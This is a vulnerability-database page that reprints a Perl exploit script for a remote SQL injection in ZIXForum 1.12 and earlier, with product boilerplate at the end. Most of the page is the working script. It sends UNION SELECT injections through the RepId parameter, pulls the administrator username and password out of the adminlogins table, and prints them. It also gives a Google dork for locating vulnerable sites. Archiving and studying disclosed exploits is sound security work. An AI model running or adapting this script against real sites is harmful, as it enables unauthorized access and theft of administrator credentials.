Lucene search
K

Zix Forum <= 1.12 (RepId) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Zix Forum v1.12 Remote SQL Injection Exploit found by Chironex Fleckeri and created by SlimTim10

Code

                                                #!/usr/bin/perl
###########################################
# ZIXForum &#60;= v1.12 Exploit
# Vulnerability found by Chironex Fleckeri
# Created By: SlimTim10
# &#60;[email protected]&#62;
###########################################
# Google dork:
# intext:&#34;ZIXForum 1.12 by: ZixCom 2002&#34;
###########################################


use IO::Socket::INET;

usage() unless (@ARGV == 2);

$host = shift(@ARGV);
$dir = shift(@ARGV);

$dir = &#34;\/$dir&#34; if ($dir !~ /^\//);
$dir = &#34;$dir\/&#34; if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

$path = $dir.&#39;ReplyNew.asp?RepId=-1%20UNION%20SELECT%20null,null,null,J_user,null,null,null,null,null,null,null,null%20FROM%20adminlogins&#39;;
$path2 = $dir.&#39;ReplyNew.asp?RepId=-1%20UNION%20SELECT%20null,null,null,J_pass,null,null,null,null,null,null,null,null%20FROM%20adminlogins&#39;;
$socket = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$host&#34;, PeerPort =&#62; &#34;80&#34;) || die &#34;[-]Connect Failed: could not connect to $host\r\n&#34;; # show an error!

print &#34;[+]Connecting...\n&#34;;
print $socket &#34;GET $path HTTP/1.1\n&#34;;
print $socket &#34;Host: $host\n&#34;;
print $socket &#34;Accept: */*\n&#34;;
print $socket &#34;Connection: close\n\n&#34;;
print &#34;[+]Connected\n&#34;;
print &#34;[+]User: &#34;;

while ($answer = &#60;$socket&#62;) {
    $answer =~ m/name=&#34;R_Headline&#34; size=&#34;30&#34; class=&#34;normal&#34; value=&#34;Re: (.*?)&#34;/ && print &#34;$1\n&#34;;
}

$socket = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$host&#34;, PeerPort =&#62; &#34;80&#34;) || die &#34;[-]Connect Failed: could not connect to $host\r\n&#34;;
print $socket &#34;GET $path2 HTTP/1.1\n&#34;;
print $socket &#34;Host: $host\n&#34;;
print $socket &#34;Accept: */*\n&#34;;
print $socket &#34;Connection: close\n\n&#34;;
print &#34;[+]Pass: &#34;;

while ($answer = &#60;$socket&#62;) {
    $answer =~ m/name=&#34;R_Headline&#34; size=&#34;30&#34; class=&#34;normal&#34; value=&#34;Re: (.*?)&#34;/ && print &#34;$1\n&#34;;
}

sub usage {
    print &#34;\n&#34; . &#34;=|=-&#34; x 14 . &#34;=|=&#34;;
    print q(
]                                                         [
[  ZIXForum &#60;= 1.12 &#34;RepId&#34; Remote SQL Injection Exploit  ]
]               Tested on ZIXForum &#60;= v1.12               [
[       Created By: SlimTim10 &#60;[email protected]&#62;       ]
]                                                         [);
    print &#34;\n&#34; . &#34;=|=-&#34; x 14 . &#34;=|=\n\n&#34;;
    print &#34; Usage: $0&#34;;
    print q( [HOST] [PATH] E.g. );
    print &#34;$0&#34;;
    print q(  www.host.com /forum/);
    print &#34;\n\n&#34; . &#34;`^&#34; x 29 . &#34;`\n&#34;;
    exit;
}

# milw0rm.com [2006-09-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17